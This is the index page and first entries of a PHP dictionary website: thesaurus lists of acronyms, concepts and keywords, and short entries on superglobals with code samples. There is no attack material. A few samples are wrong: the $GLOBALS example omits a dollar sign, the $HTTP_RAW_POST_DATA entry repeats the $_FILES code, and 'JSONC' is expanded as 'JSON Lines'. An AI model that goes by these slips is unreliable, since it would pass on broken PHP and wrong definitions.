Introduction
PHP dictionary is an exhaustive list of words and notions, from the PHP ecosystem.
Do you know what is the ‘dangling reference’ problem? Or the Last Static binding? or the ‘garbage collection’?
The PHP dictionary provides a list of words, concepts, keywords and expressions used commonly in the PHP ecosystem, with a short definition and extra links to more resources.
The dictionary’s goal is to provide a place for each PHP notions, and help anyone reading an article understand it.
The dictionary doesn’t aim to provide a complete presentation of the definitions : this is why there are external links to blogs, vlogs, documentation and disambiguation. Links to software are also provided without the guarantee to be systematic nor complete.
Machine-readable access
Besides these human-readable pages, the dictionary is also published as:
- dictionary.json — the full structured dataset, one object per entry (description, code sample, related terms, tags, rule, PHP version history, …).
- llms.txt — a compact index of every entry, for AI agents and LLMs.
- llms-full.txt — the full text of every entry, inlined, for AI agents and LLMs.
- feed.xml — an RSS feed of the most recently added or updated entries.
Contributions
Contributions are welcomed, by submitting PR to the repository
- New or missing words to be added, preferably with their definition
- Extra links to external resources
- Documentation complements
- Checks on the related notions and thesaurus
Thesaurus
Acronym
List of acronyms, used in this dictionary.
- Abstract Syntactic Tree (AST)
- American Standard Code for Information Interchange (ASCII)
- Application Performance Management (APM)
- Application-Layer Protocol Negotiation (ALPN)
- Architectural Decision Record (ADR)
- Artificial Intelligence (AI)
- Asynchronous Markup Protocol (AMP)
- Capture The Flag (CTF)
- Change Data Capture
- Class Interface Trait Enumeration (CITE)
- Client URL (CURL)
- Comma Separated Values (CSV)
- Command Line Interface (CLI)
- Command Query Responsibility Segregation (CQRS)
- Common Gateway Interface (CGI)
- Common Vulnerabilities And Exposures (CVE)
- Concurent Version System (CVS)
- Content Delivery Network (CDN)
- Content Security Policy (CSP)
- Continuous Delivery (CD)
- Continuous Integration (CI)
- Control Flow Graph (CFG)
- Copy On Write (COW)
- Create, Read, Update And Delete (CRUD)
- Cross Site Request Forgery (CSRF)
- Cross Site Scripting (XSS)
- Cyclic Redundancy Check 32-bit (CRC32)
- Data Access Object (DAO)
- Data Flow Analysis (DFA)
- Data Source Name (DSN)
- Data Transfer Object (DTO)
- Database Abstraction Layer (DBA) Extension
- Database Abstraction Layer (DBAL)
- Dependency Inversion (DIP)
- Design By Contract (DBC)
- Disjunctive Normal Form (DNF)
- Distributed Denial Of Service (DDOS)
- Document Object Model (DOM)
- Domain Design Driven (DDD)
- Domain Name System (DNS)
- Don’t Repeat Yourself (DRY)
- EXIF (Exchangeable Image File Format)
- Extensible Markup Language (XML)
- Extract, Transform, Load (ETL)
- Fast Artificial Neural Network (FANN)
- FastCGI Process Manager (FPM)
- File Transfer Protocol (FTP)
- File Transfer Protocol Secure (FTPS)
- Finite State Machine (FSM)
- First In, First Out (FIFO)
- Foreign Function Interface (FFI)
- Foreign Key (FK)
- Framework Interoperability Group (FIG)
- Function-as-a-Service (FaaS)
- Functional Programming (FP)
- GNU Multiple Precision (GMP)
- Generalized Algebraic Data Type (GADT)
- Generative Engine Optimization (GEO)
- Graphic Draw (GD)
- Graphics Interchange Format (GIF)
- HMAC
- Hyper Text Transfer Protocol (HTTP)
- Hyper Text Transfer Protocol Secure (HTTPS)
- HyperText Markup Language (HTML)
- IMAP
- Infrastructure as Code (IaC)
- Insecure Direct Object Reference (IDOR)
- Inter-Process Communication (IPC)
- Interface Segregation Principle (ISP)
- Intermediate Representation (IR)
- Internet Protocol (IP)
- Internet of Things (IoT)
- JPEG
- JSON Lines (JSONC)
- JSON Lines (JSONL)
- JSON Web Token (JWT)
- JSON-LD
- JavaScript Object Notation (JSON)
- Just In Time (JIT)
- KISS
- Language Server Protocol (LSP)
- Large Language Model (LLM)
- Last In, First Out (LIFO)
- Lightweight Directory Access Protocol (LDAP)
- Linux Apache Mysql PHP (LAMP)
- Linux Nginx Mysql PHP (LEMP)
- Liskov Substitution Principle (LSP)
- Massively Parallel Processing Database (MPP)
- Message Digest Algorithm 5 (MD5)
- Meta-object Protocol (MOP)
- Method Resolution Order (MRO)
- Minimum Viable Product (MVP)
- Model - View - Controller (MVC)
- Model Context Protocol (MCP)
- Multi-Factor Authentication (MFA)
- Not A Number (NAN)
- OOP (Object Oriented Programming)
- OWASP
- Object Relational Mapping (ORM)
- One-Time Password (OTP)
- Open Closed Principle (OCP)
- Open Knowledge Graph (OKG)
- OpenID Connect (OIDC)
- OpenTelemetry
- PCOV
- PEAR
- PHP Data Objects (PDO)
- PHP Extension C Library (PECL)
- PHP Installer For Extensions (PIE)
- PHP RFC
- PHP Standards Recommendations (PSR)
- PHP, Hypertext Preprocessor (PHP)
- Peer-to-Peer (P2P)
- Perl Compatible Regular Expressions (PCRE)
- Plain Old PHP Object (POPO)
- Poisoned Pipeline Execution (PPE)
- Portable Network Graphics (PNG)
- Primary Key
- Product Requirements Document (PDR)
- Progressive Web App
- Protocol Buffers
- Pull Request (PR)
- QUIC
- RACI Model
- RDF (Resource Description Framework)
- RFC
- RGB
- RSA
- Read Eval Print Loop (REPL)
- Relational DataBase Management System (RDBMS)
- Remote Code Execution (RCE)
- Remote Procedure Call (RPC)
- Request For Change (RFC)
- Reserved For Future Use (RFU)
- Retrieval Augmented Generation (RAG)
- Role Based Access Control (RBAC)
- SSH2
- Scalable Vector Graphics (SVG)
- Search Engine Optimization (SEO)
- Secure Sockets Layer (SSL)
- Security Assertion Markup Language (SAML)
- Server Application Programming Interface (SAPI)
- Server Sent Event (SSE)
- Server-Side Rendering (SSR)
- Server-Side Request Forgery (SSRF)
- Service-Oriented Architecture (SOA)
- Shared Memory Operations (SHMOP)
- Simple Mail Transfer Protocol (SMTP)
- Simple Network Management Protocol (SNMP)
- Simple Object Access Protocol (SOAP)
- Single Page Application (SPA)
- Single Responsability Principle (SRP)
- Single Sign On (SSO)
- Software Bill Of Material (SBOM)
- Software Development Kit (SDK)
- Standard PHP Library (SPL)
- State of the Art (SOTA)
- Static Application Security Testing (SAST)
- Static Code Analysis (SCA)
- Static Single Assignment Form (SSA)
- Structured Query Language (SQL)
- Support Vector Machine (SVM)
- Template Metaprogramming (TMP)
- Terminal User Interface (TUI)
- Test Impact Analysis
- Time Of Check To Time Of Use (TOCTOU)
- Time To Live (TTL)
- Token Oriented Object Notation (TOON)
- Tom’s Obvious Minimal Language (TOML)
- Transport Layer Security (TLS)
- Universal Resource Identifier (URI)
- Universal Resource Locator (URL)
- Universally Unique IDentifier (UUID)
- Universally Unique Lexicographically Sortable Identifier (ULID)
- User Datagram Protocol (UDP)
- User Operations For Zend (UOPZ)
- Value Object (VO)
- Version Control System (VCS)
- Virtual Machine (VM)
- WHM (WebHost Manager)
- Web Hypertext Application Technology Working Group (WHATWG)
- Web Real-Time Communication (WebRTC)
- World Wide Web (WWW)
- World Wide Web Consortium (W3C)
- Write Everything Twice (WET)
- Write-Ahead Logging (WAL)
- YAML Ain’t Markup Language (YAML)
- You Are Not Going To Need It (YAGNI)
Attribute
List of PHP native attributes.
- Allow Dynamic Properties
- Attribute Class
- Attribute
- Deprecated
- Nested Attributes
- Override Attribute
- PHP Native Attribute
- PHP Native Attributes
- Properties
- Return Type Will Change
- Sensitive Parameter
- delayedtargetvalidation
Concept
List of concept, which are applied to PHP, but not exclusive to it.
- $this
- ACID
- AJAX
- API Gateway
- Abstraction Layer
- Abstraction
- Access Control List (ACL)
- Accessibility
- Active Record
- Algebraic Data Type
- Algorithm
- Alias
- Anemic Domain Model
- Anonymize
- Anonymous Constant
- Anonymous Function
- Anonymous
- Anti-Pattern
- Appeasement Pattern
- Arcane
- Archive
- Arity
- Arm
- Array Shape
- Array Zip
- Artifact
- Asset
- Atomic Operation
- Audit
- Authorize
- Auto-Increment
- Autocompletion
- Autowiring
- Backed
- Backend
- Base
- Batch
- Behavior
- Benchmarking
- Big-o-notation
- Black Box Testing
- Blast Radius
- Blind Variable
- Blocking Wait
- Boilerplate
- Bucket
- Bug
- Build
- Business Logic
- C10K
- CAP Theorem
- Canary
- Cancellation
- Cascading Failure
- Cascading
- Case Sensitivity
- Centralization
- Channel
- Cheat Sheet
- Class Entities
- Class Hoisting
- Class Wither Method
- Class
- Clone
- Close Naming
- Cloud
- Code Duplication
- Code Generation
- Code Smell
- Cohesion
- Cold Cache
- Cold Start
- Column Database
- Command Bus
- Command
- Compatibility
- Compensation Logic
- Compile
- Compiler Optimized Function
- Compiler
- Complexity
- Component
- Concatenative
- Condition
- Conditional
- Consistency
- Constant Scalar Expression
- Constraint
- Constructor
- Container Orchestration
- Continuation
- Contribution
- Controller
- Convention
- Convert
- Coroutine
- Correlation ID
- Coupling
- Cross-cutting Concerns
- Cryptographic Hash
- Custom Function
- Custom
- Data Container
- Data Hiding
- Data Mapper
- Database
- Dataset
- Declaration
- Decode
- Decoupling
- Decrement
- Deduplication
- Defer Statement
- Definition
- Dependency Injection
- Dependency Inversion (DIP)
- Deprecation
- Depth
- Dereferencing
- Design Pattern
- Destructor
- Destructuring
- Determinism
- Deterministic
- Disable
- Distributed Monolith
- Distributed State
- Distributed Systems
- Distributed Tracing
- Distributed Transactions
- Distributed
- Documentation
- Dog Fooding
- Domain Design Driven (DDD)
- Domain
- Double Check
- Duck Typing
- Dynamic
- Early Binding
- Edge Case
- Edge Computing
- Edge Triggered
- Effect System
- Egress Filtering
- Embed
- Embeddings
- Enable
- Encode
- Escape Character
- Escape Sequences
- Event Driven
- Event Replay
- Event Store
- Event Streaming
- Eventual Consistency
- Execution Path
- Execution
- Exhaustiveness
- Existence
- Existential Type
- Explanation
- Explicit
- Expression
- Extension Method
- Extensions
- Extract, Transform, Load (ETL)
- Facade
- Faker
- Fallback
- Fat Controller
- Fat
- Fault Isolation
- Feature Detection
- Feature
- Fingerprint
- Fire-and-forget
- Firewall
- First-Class Module
- Footgun
- Foreign Key (FK)
- Format
- Framework
- Free
- Function-as-a-Service (FaaS)
- Future
- Generalized Algebraic Data Type (GADT)
- Generative Engine Optimization (GEO)
- GeoIP
- Geolocation
- Global State
- Gradual Typing
- Grammar
- Graph
- Green
- Guard Rail
- HTTP Method
- Habit
- Hash Table
- Hash
- Hashing
- Heuristics
- Hidden State
- Higher-Kinded Type
- Hoisting
- Hook
- Hot Cache
- Hydratation
- Idempotent
- Identity
- Idiomatic
- Immutable
- Implementation-Defined Behavior
- Implicit State
- Implicit
- Import
- Increment
- Index
- Indirect Reference Map
- Infinite Loop
- Infinite
- Infrastructure as Code (IaC)
- Injection
- Inline Assembly
- Installation
- Instruction
- Inter-Process Communication (IPC)
- Intermediate Representation (IR)
- Internet of Things (IoT)
- Internet
- Interpreted
- Introspection
- Jobqueue
- Jump
- Kubernetes
- Large Language Model (LLM)
- Late Static Binding
- Layered Architecture
- Lazy Class Constant
- Lazy Evaluation
- Lazy Loading
- Least Privilege Principle
- Library
- Linear Type
- Link
- Linting
- Liskov Substitution Principle (LSP)
- List Comprehension
- Literal
- Lock
- Look-up
- Loops
- Lvalue
- Machine Learning
- Macro
- Magic Code
- Magic Numbers
- Magic Values
- Magic
- Marketplace
- Massively Parallel Processing Database (MPP)
- Memory Arena
- Memory Leak
- Merge
- Message Digest
- Metaclass
- Metadata
- Metaprogramming
- Method Resolution Order (MRO)
- Method Signature
- Migration
- Model
- Module System with Explicit Exports
- Module
- Monad
- Monetary Formatting
- Monkey Patch
- Monomorphization
- Monotonic
- Move Semantics
- Multi-pass Algorithm
- Multiple Dispatch
- Multiple Return Values
- Mutability
- N+1 Query Problem
- Name Conventions
- Name
- Named Return Values
- Native
- Network
- Neutral Element
- Nominal Type
- Non-blocking
- Noop
- Numeronym
- OSI Model
- Object Calisthenics
- Object Lifecycle
- One-shot
- Open Data
- Open Knowledge Graph (OKG)
- Operator Overloading
- Opinionated
- Optimisation
- Option Type
- Option
- Order Of Execution
- Outgoing Data
- Over-engineer
- Overflow
- Overloading
- Overwrite
- Ownership
- PHPdoc
- Package-Level
- Pagination
- Partial Application
- Partial Function
- Passphrase
- Path
- Pattern
- Pay-as-you-go
- Payload
- Permission
- Persistence
- Phantom Type
- Pipeline
- Plain Text
- Plugin
- Poisoned Pipeline Execution (PPE)
- Polling
- Polyglot
- Polymorphism
- Ports And Adapters
- Premature Optimization
- Preprocessing
- Primary Key
- Profiling
- Progressive Web App
- Promise
- Proprietary Source
- Protocol
- Pseudonymisation
- Quality
- RDF Triple Store
- RGB
- Rainbow Table
- Random Access
- Range Type
- Readable
- Reading
- Real Numbers
- Record Type
- Recursion
- Refactoring
- Referential Integrity
- Refinement Type
- Reflection
- Registry
- Regression
- Render
- Renderer
- Replay
- Request-Response
- Request
- Resilience
- Resource Leak
- Result Type
- Rich Domain Model
- Rich Text
- Row Polymorphism
- SOLID
- Sandbox
- Scaffolding
- Scalable Vector Graphics (SVG)
- Schema
- Scheme
- Scope
- Security
- Semantics
- Sentinel
- Separation Of Concerns
- Server-Side Rendering (SSR)
- Serverless
- Service Discovery
- Service Mesh
- Service Registry
- Service-Oriented Architecture (SOA)
- Shared Database
- Shared-Nothing Architecture
- Shared
- Shutdown
- Side Effect
- Single Responsability Principle (SRP)
- Slim
- Slug
- Soft Delete
- Software Development Kit (SDK)
- Source Code
- Source Of Truth
- Sqids
- Standard
- State of the Art (SOTA)
- State
- Stateful
- Stateless
- Streamable
- Streaming Database
- Struct Type
- Structural Pattern Matching
- Structural Typing
- Stubs Files
- Sub (prefix)
- Subnamespaces
- Sum Type
- Surrogate Key
- TODO
- Taint Analysis
- Technical Reference
- Template
- Temporal Replay
- Test Framework
- Test Pyramid
- Text Encoding
- Text
- Thin
- Throughput
- Time To Live (TTL)
- To Crypt
- To Decrypt
- Transaction
- Traversal
- Truthy
- Tuple
- Tutorial
- Type Checking
- Type Class
- Type Narrowing
- Type Parametricity
- Type System
- Type Widening
- Undefined Behavior
- Undefined
- Underflow
- Unique Identifier
- Universally Unique IDentifier (UUID)
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Unreachable Code
- Unspecified Behavior
- Unused
- Urbanisation
- Used
- Validation
- Value Object
- Value Type
- Value
- Vanilla PHP
- Version
- View In Presentation
- View
- Visual Debt
- White Box Testing
- Worker
- Workflow
- Writable
- Write Context
- Write-Ahead Logging (WAL)
- Writeable
- Writing
- Zero-code
- Zombie Code
- hash() Function
- max_memory_limit
- precision
Control flow
List of command to control the flow of a program.
- Control Structures
- Do While
- For
- Goto
- If Then Else
- Match
- Simple Switch
- Switch Fallthrough
- Switch
- While
- foreach()
Directive
List of configuration directives of PHP. They may be used in php.ini, ini_set()/ini_get() or other configuration files.
- Directives
- Disable Functions
- Error Reporting
- Error Reporting
- Preappend File Directive
- default_charset
- disable_functions
- display_errors
- html_errors
- include_path
- max_execution_time
- max_input_vars
- memory_limit
- open_basedir
- php.ini
- precision
- register_argc_argv
- serialize_precision
- variable_order
- zend.assertions
Exception
List of exceptions, available in PHP.
- ArgumentCountError
- ArithmeticError Error
- BadFunctioncallException
- Chaining Exceptions
- ClosedGeneratorException
- DivisionByZeroError
- Exception Handler
- Exception
- ImagickException
- ImagickPixelException
- InvalidArgumentException
- JsonException
- LengthException
- LogicException
- OutOfRangeException
- OverflowException
- PDOException
- PHP Predefined Exception
- PharException
- RangeException
- ReflectionException
- RuntimeException
- TypeError
- UnexpectedValueException
- UnhandledMatchError
- ValueError
- mysqli_sql_exception
Keyword
List of PHP keywords and reserved names.
- Abstract Keyword
- And Operator
- Array, []
- Arrow Functions
- As
- Break
- Callables
- Case
- Catch
- Class
- Clone
- Const
- Continue
- Default
- Do While
- Empty
- Enumeration (enum)
- Eval()
- Exit
- Final Keyword
- Finally
- For
- Global Variables
- Goto
- If Then Else
- Insteadof
- Interface
- Isset
- Iterable
- Match
- Mixed
- Modifier
- Private Visibility
- Protected Visibility
- Public Visibility
- Readonly
- Return
- Self
- Simple Switch
- Stringable
- Switch Case
- Switch Default
- Switch
- Trait
- Try-catch
- Use
- Var
- While
- Yield
- extends
- implements
- include
- parent
- throw
- unset()
- yield from Keyword
Language construct
List of the PHP language construct: they look like a function, but are more special.
Type
List of PHP types, used with the type system. They usually are not related to a class.
- Algebraic Data Type
- Array Shape
- Boolean
- Composite Type
- Contravariance
- Covariance
- Dependent Type
- Disjunctive Normal Form (DNF)
- Duck Typing
- Effect System
- Exhaustiveness
- Existential Type
- False
- Floating Point Numbers
- Generalized Algebraic Data Type (GADT)
- Gradual Type Checking
- Gradual Typing
- Higher-Kinded Type
- Iterable
- Linear Type
- Literal Types
- Mixed
- Named Type
- Never Type
- Nominal Type
- Nullable
- Object Type
- Object
- Option Type
- PHP Natives
- Phantom Type
- Positive Integer
- Range Type
- Real Numbers
- Record Type
- Refinement Type
- Relative Types
- Result Type
- Return Type
- Row Polymorphism
- Scalar Types
- Signed Integer
- Smart Cast
- Special Types
- Standalone Types
- Strict
- Stringable
- Struct Type
- Structural Typing
- Sum Type
- True
- Tuple
- Type Checking
- Type Class
- Type Coercion
- Type Coverage
- Type Inference
- Type Invariant
- Type Juggling
- Type Narrowing
- Type Parametricity
- Type System
- Type System
- Type Widening
- Typed Property
- Types Erasure
- Union Type
- Value Type
- Void
- get_debug_type()
- resource
- settype()
- subtype
- supertype
Magic method
List of PHP magic method, which are providing special behavior throught the definition of a method with a special signature.
- __call() Method
- __callStatic() Method
- __clone() Method
- __debugInfo() Method
- __get() Method
- __invoke() Method
- __isset() Method
- __serialize() Method
- __set() Method
- __set_state() Method
- __sleep() Method
- __toString() Method
- __unserialize() Method
- __unset() Method
- __wakeup() Method
Classic bug
List of named bugs.
- Catch
- Chaining Assignation
- Dangling Reference
- Datetime Trap
- Days Are Not 86400 Seconds
- Days In Month
- Floating Point Numbers
- Ignored Catch
- Inclusion Hell
- Leading Zero Means Octal
- Letter Logical Bug
- Magic Hash
- Minus One -1
- Missing Subpattern
- N+1 Query Problem
- Object Injection
- Sentinel
- Stealth Generator
- Strpos() Syndrome
- array_merge()
- in_array()
- include
- instanceof
- max_input_vars
Extension
List of special PHP extensions.
- APCu
- Bcmath
- Calendar
- Collation
- Core
- Cryptographic Hash
- DOMChildNode
- DOMParentNode
- DOM
- Database Abstraction Layer (DBA) Extension
- Document Object Model (DOM)
- EXIF (Exchangeable Image File Format)
- Excimer
- Fast Artificial Neural Network (FANN)
- Fibers
- GNU Multiple Precision (GMP)
- Gearman
- GeoIP
- Graphic Draw (GD)
- Hash
- IMAP
- Iconv
- Internationalization Functions
- Keymap
- Library Loading
- Memcached
- Monetary Formatting
- MongoDB
- Multibyte String
- MySQL
- OpenSSL
- OpenSwoole
- OpenTelemetry
- Oracle
- PCOV
- PHP Data Objects (PDO)
- POSIX
- Phar
- PostgreSQL
- Process Control (pcntl)
- Protocol Buffers
- Random\CryptoSafeEngine
- Random\Engine
- RdKafka
- Readline
- Reflection
- SNMP3
- SSH2
- Shared Memory Operations (SHMOP)
- Simple Network Management Protocol (SNMP)
- SimpleXML
- Socket Extension
- Standard PHP Library (SPL)
- Swoole
- Tokenizer
- URI Extension
- XHProf
- XMLwriter
- XXTEA
- bzip2 Extension
- filter
- gettext Extension
- imagick
- mysqli
- zip Extension
- zlib extension
Token
List of strings (characters, names), which are PHP tokens: they are useful to parse code.
Folklore
List of things that seems unrelated to PHP, but, suprisingly, are.
- Composer
- Dollar $
- Elephpant
- Flag
- Footgun
- Framework Interoperability Group (FIG)
- Glue
- Golf
- Haystack
- Inclusion Hell
- KISS
- Linux Apache Mysql PHP (LAMP)
- Linux Nginx Mysql PHP (LEMP)
- Needle
- One Liner
- PHP Extension C Library (PECL)
- PHP Installer For Extensions (PIE)
- Parquet
- Quine
- Railroad Programming
- Scope Resolution Operator ::
- Separator
- Tree
- Userland
Static analysis
List of concepts related to static code analysis.
- Abstract Syntactic Tree (AST)
- Analysis
- Appeasement Pattern
- Array Shape
- Call Graph
- Code Duplication
- Code Smell
- Cognitive Complexity
- Complexity
- Control Flow Analysis
- Control Flow Graph (CFG)
- Cyclomatic Complexity
- Data Flow Analysis (DFA)
- Dead Code
- Fossilized Methods
- Gradual Type Checking
- Lexical Analysis
- Lint, Won’t Execute
- Linting
- Metrics
- Pattern-Based Analysis
- Propagation
- Semantic Analysis
- Static Application Security Testing (SAST)
- Static Code Analysis (SCA)
- Static Single Assignment Form (SSA)
- Symbolic Analysis
- Taint Analysis
- Type Checking
- Type Coverage
- Type Inference
- Unreachable Code
- Unused
- Useless
- Zombie Code
Character
List of single characters, and their special usage.
- @, No Scream Operator
- Backslash \
- Bang !
- Binary Not Operator
- Carriage Return
- Codepoint
- Colon
- Concatenation .
- Division
- Dollar $
- E
- Emoji
- Escape Sequences
- Hash #
- Line Feed
- Minus -
- Modulo
- Multiplication
- New Line
- Non Breakable Spaces
- Not Operator
- Null Byte
- Oblic Quotes
- Parenthesis
- Plus +
- Pound #
- Question Mark ?
- Return Carriage
- Semicolon ;
- Single Quotes Strings
- Slash /
- Space
- Square Brackets
- Star *
- Tabulation
- Tilde ~
- Underscore
- Whitespace
Disambiguation
List of concepts that cover several fields, and usually require extra details to avoid confusion.
- Absolute
- As
- Backslash \
- Base
- Binary
- Bracket
- Canary
- Case
- Chaining
- Commit
- Container
- Coverage
- Curly Brackets
- Default
- Deque
- Digital Signature
- Dollar $
- Double
- Duplicate
- Encoding
- Entities
- Extensions
- Generator
- Green
- Hash #
- Hash
- Hook
- Image
- Index
- Injection
- LSP
- Leak
- Lifecycle
- Link
- Log
- Mass
- Minus -
- Normalisation
- Oracle
- Plus +
- Pound #
- Query
- Queue
- RFC
- Relative
- Shared
- Signature
- Single
- Slash /
- Stack
- Star *
- Strict
- Swap
- Triple
- Unique (disambiguation)
- Unpacking
- Use
- View
- Wrapper
- static
Unsupported
List of features supported in other languages, but not natively by PHP +
Adjective
List of adjective that are used with several distinct noun, and carry similar concept in different aspects of software science.
- Abstract Keyword
- Anonymous
- Arcane
- Asynchronous
- Brownfield
- Conditional
- Conditioned Structures
- Distributed
- Eponymous
- Fat
- Green
- Greenfield
- Inconsistent
- Infinite
- Interpreted
- Opinionated
- Shared
- Synchronous
- Temporary
- Testable
- Thin
Animal
List of animals in the PHP ecosystem and its folklore.
- Camel Case
- Copy On Write (COW)
- Cryptographic Hash
- Double Quotes Strings
- Duck Typing
- Elephpant
- Escape Sequences
- Folklore
- Framework
- Introspection
- Rubber Ducking Debugging
- Snake Case
- hash() Function
Authors
People mentioned across the PHP Dictionary, with a link to their homepage or profile.
-
Alistair Cockburn in Hexagonal Architecture, Ports And Adapters
-
Bertrand Meyer in Command Query Responsibility Segregation (CQRS)
Brands
Tools, services and products mentioned across the PHP Dictionary, with a link to their homepage or repository.
-
Apache in Linux Apache Mysql PHP (LAMP), Linux Nginx Mysql PHP (LEMP), Webserver
-
blackfire in Application Performance Management (APM), Excimer, Flame Graph, OpenTelemetry, PHP Profiler, Performance, Premature Optimization, Profiling
-
Codeception in Acceptance Test, Feature Testing, Test Framework
-
Deployer in Build, Deployment
-
Eclipse in Integrated Environment of Development (IDE), PHP Editor
-
Intelephense in Autocompletion, Language Server Protocol (LSP), PHP Editor
-
Kong in API Gateway
-
Linux in Linux Apache Mysql PHP (LAMP), Linux Nginx Mysql PHP (LEMP)
-
MariaDB in Linux Apache Mysql PHP (LAMP), Linux Nginx Mysql PHP (LEMP), MySQL
-
MySQL in Linux Apache Mysql PHP (LAMP), Linux Nginx Mysql PHP (LEMP)
-
NetBeans in Integrated Environment of Development (IDE), PHP Editor
-
pest in Test Framework, Test
-
PhpStorm in Integrated Environment of Development (IDE), PHP AI Editor, PHP Editor
-
PHPUnit in Code Coverage, PCOV, Red-Green-Refactor, Test Framework, Test, Unit Test
-
Platform.sh in PaaS
-
Revolt in Event Loop
-
simpletest in Test
-
tideways in Application Performance Management (APM), Excimer, Flame Graph, OpenTelemetry, PHP Profiler, Performance, Premature Optimization, Profiling, XHProf
-
VS Code in Integrated Environment of Development (IDE), PHP Editor
$HTTP_RAW_POST_DATA
$HTTP_RAW_POST_DATA used to contain the raw POST data of an HTTP request.
$HTTP_RAW_POST_DATA was removed in version 7.0: it is replaced by php://input.
<?php
// $a->file was filled with $_FILES at some point
move_uploaded_file($a->file['tmp_name'], $target);
?>
See Also
Related
$_FILES
The $_FILES variable is a special superglobal variable that is used to retrieve information about files uploaded to the server via HTML forms with the enctype="multipart/form-data" attribute. It provides access to the uploaded file’s properties such as name, size, type, and temporary location on the server.
When a file upload form is submitted, PHP populates the $_FILES variable with an array structure that contains information about the uploaded files. The array is organized based on the input field names used in the form.
$_FILES['userfile']['name']: the original name of the file on the client machine$_FILES['userfile']['type']: the mime type of the file, if the browser provided this information. An example would be"image/gif". This mime type is however not checked on the PHP side and therefore don’t take its value for granted$_FILES['userfile']['size']: the size, in bytes, of the uploaded file$_FILES['userfile']['tmp_name']: the temporary filename of the file in which the uploaded file was stored on the server$_FILES['userfile']['error']: the error code associated with this file upload$_FILES['userfile']['full_path']: the full path as submitted by the browser. This value does not always contain a real directory structure, and cannot be trusted. Available as of PHP 8.1.0
$_FILES is associated to the functions move_uploaded_file() and is_uploaded_file().
<?php
// $a->file was filled with $_FILES at some point
move_uploaded_file($a->file['tmp_name'], $target);
?>
See Also
Related
$_COOKIE
The $_COOKIE variable is a special superglobal variable that stores the name and values of the cookies that were transmitted to the webserver.
The $_COOKIE variable is an associative array where the keys are the cookies names and the values are the corresponding values passed in the HTTP headers.
$_COOKIE is a superglobal: it is always available, in every scope.
Values inside $_COOKIE are always strings or arrays.
<?php
echo $_COOKIE['username'];
?>
See Also
Related
$_ENV
The $_ENV variable is a special superglobal variable that is used to retrieve the environment values.
The $_ENV variable is an associative array where the keys are the global variables and the values are the corresponding values.
$_ENV is a superglobal: it is always available, in every scope.
Values inside $_ENV are always strings.
The values in the $_ENV are collected at the start of the script, and do not change during the lifetime of the script. To get an up-to-date value, the function getenv() is preferable.
The content of the $_ENV array varies from installation to installation: there is no default list of keys in that array. It entirely depends on the underlying system.
<?php
// Displays the name of the user
echo $_ENV['USER'];
print_r($_ENV);
// Results is similar to this
/**
Array
(
[TERM] => xterm
[PATH] => /usr/bin:/bin
[LANG] => C
[SHELL] => /bin/sh
[MAIL] => /var/mail/nobody
[LOGNAME] => nobody
[USER] => nobody
[HOME] => /tmp
)
*/
?>
See Also
Related
$_GET
The $_GET variable is a special superglobal variable that is used to retrieve data from the query string or URL parameters. When a user submits a form using the HTTP GET method or includes parameters in the URL, PHP populates the $_GET variable with key-value pairs representing those parameters.
The $_GET variable is an associative array where the keys are the parameter names and the values are the corresponding values passed in the URL.
The received values are strings or arrays. They are strings by default, and other scalar types need to be cast to have the correct type. The values are arrays when the URL uses the [] format: that format handles arrays and maps.
$_GET is a superglobal, or auto-global: it is always available, in every scope.
Values inside $_GET are always strings, or arrays. https://www.site.com/index.php?x=1 or https://www.site.com/index.php?x[2]=1.
<?php
// https://www.example.com/index.php?x=1
$_GET['x'] === '1';
// https://www.example.com/index.php?y=abc
$_GET['y'] === 'abc';
// https://www.example.com/index.php?z[]=def&z[][]=ghi
$_GET['z'] === ['def', ['ghi']];
?>
See Also
Related
$_POST
$_POST is an associative array of variables, transmitted to the current script via the HTTP POST method, with the MIME types application/x-www-form-urlencoded or multipart/form-data.
The received values are all strings or arrays. They are strings by default, and other scalar types need a casting. The values are arrays when the URL uses the [] format.
$_POST is a superglobal: it is always available, in every scope.
Values inside $_POST are always strings, or arrays.
<?php
// POST x=1
$_POST['x'] === '1';
// POST y=abc
$_POST['y'] === 'abc';
// POST z[]=def
// POST z[]=ghi
$_POST['z'] === ['def', 'ghi'];
?>
See Also
Related
$_REQUEST
An associative array of variables, transmitted to the current script via the HTTP GET and HTTP methods.
When the same name is used both in GET and POST method, the priority is defined by the variable_order directive.
The received values are all strings or arrays. They are strings by default, and other scalar types needs a casting. The values are arrays when the URL uses the [] format.
$_REQUEST is a superglobal: it is always available, in every scope.
<?php
// https://www.example.com/index.php?x=1
$_REQUEST['x'] === '1';
// POST y=abc
$_REQUEST['y'] === 'abc';
// https://www.example.com/index.php?z[]=def&z[]=ghi
$_REQUEST['z'] === ['def', 'ghi'];
?>
See Also
- The Basics of the PHP Request
- Comprehensive Explanation of PHP’s $_REQUEST Superglobal for Form Data Handling
Related
$_SERVER
The $_SERVER variable is a special superglobal variable that holds information about the headers, scripts and path locations.
The entries in this array are created by the web server, therefore there is no guarantee that every web server provides any of these.
The $_SERVER variable is an associative array where the keys are the variable names and the values are the corresponding values.
$_SERVER is a superglobal: it is always available, in every scope.
<?php
echo $_SERVER['PHP_SELF'];
?>
See Also
Related
$argc
$argc is a predefined variable that holds the number of arguments passed to the script when it is executed from the command line. It represents the argument count, hence the name $argc.
When a PHP script is run from the command line, the script’s filename is counted as the first argument, and any additional arguments passed after the filename are also counted. The value of $argc is an integer indicating the total number of arguments.
<?php
echo $argc;
?>
See Also
Related
$argv
$argv is a PHP variable that contains an array of the arguments passed to the PHP script, in the command line. $argv is not defined when PHP is run in a webserver.
$argv is not a superglobal: it has to be imported in a non-global scope with the global keyword.
<?php
print_r($argv);
?>
See Also
Related
$GLOBALS
This super-global is a PHP predefined variable, which holds a reference to every global variable in the application. It behaves as an associative array, where each key is the name of a global variable and each value is a reference to that variable, so reading or writing $GLOBALS['x'] inside a function is equivalent to declaring global $x; first. Because it bypasses normal variable scoping, relying on $GLOBALS makes code harder to test and reason about, and it is generally considered a code smell in modern PHP, where dependency injection or object properties are preferred. Since PHP 8.1, some indirect writes to $GLOBALS – through list assignment, by-reference foreach, or array functions – are restricted, since they no longer directly modify the underlying global variable.
<?php
// implicit global variable
$aGlobalVariable = 1;
function trumpet() {
echo $GLOBALS['aGlobalVariable'];
$GLOBALS['aGlobalVariable'] = 2;
}
trumpet(); // displays 1
echo aGlobalVariable; // 2
?>
See Also
Related
- $_ENV
- $_SERVER
- $argv
- $php_errormsg
- Global Variables
- Distributed State
- Global State
- Static Variables
- Variable Variables
- Variables
$http_response_header
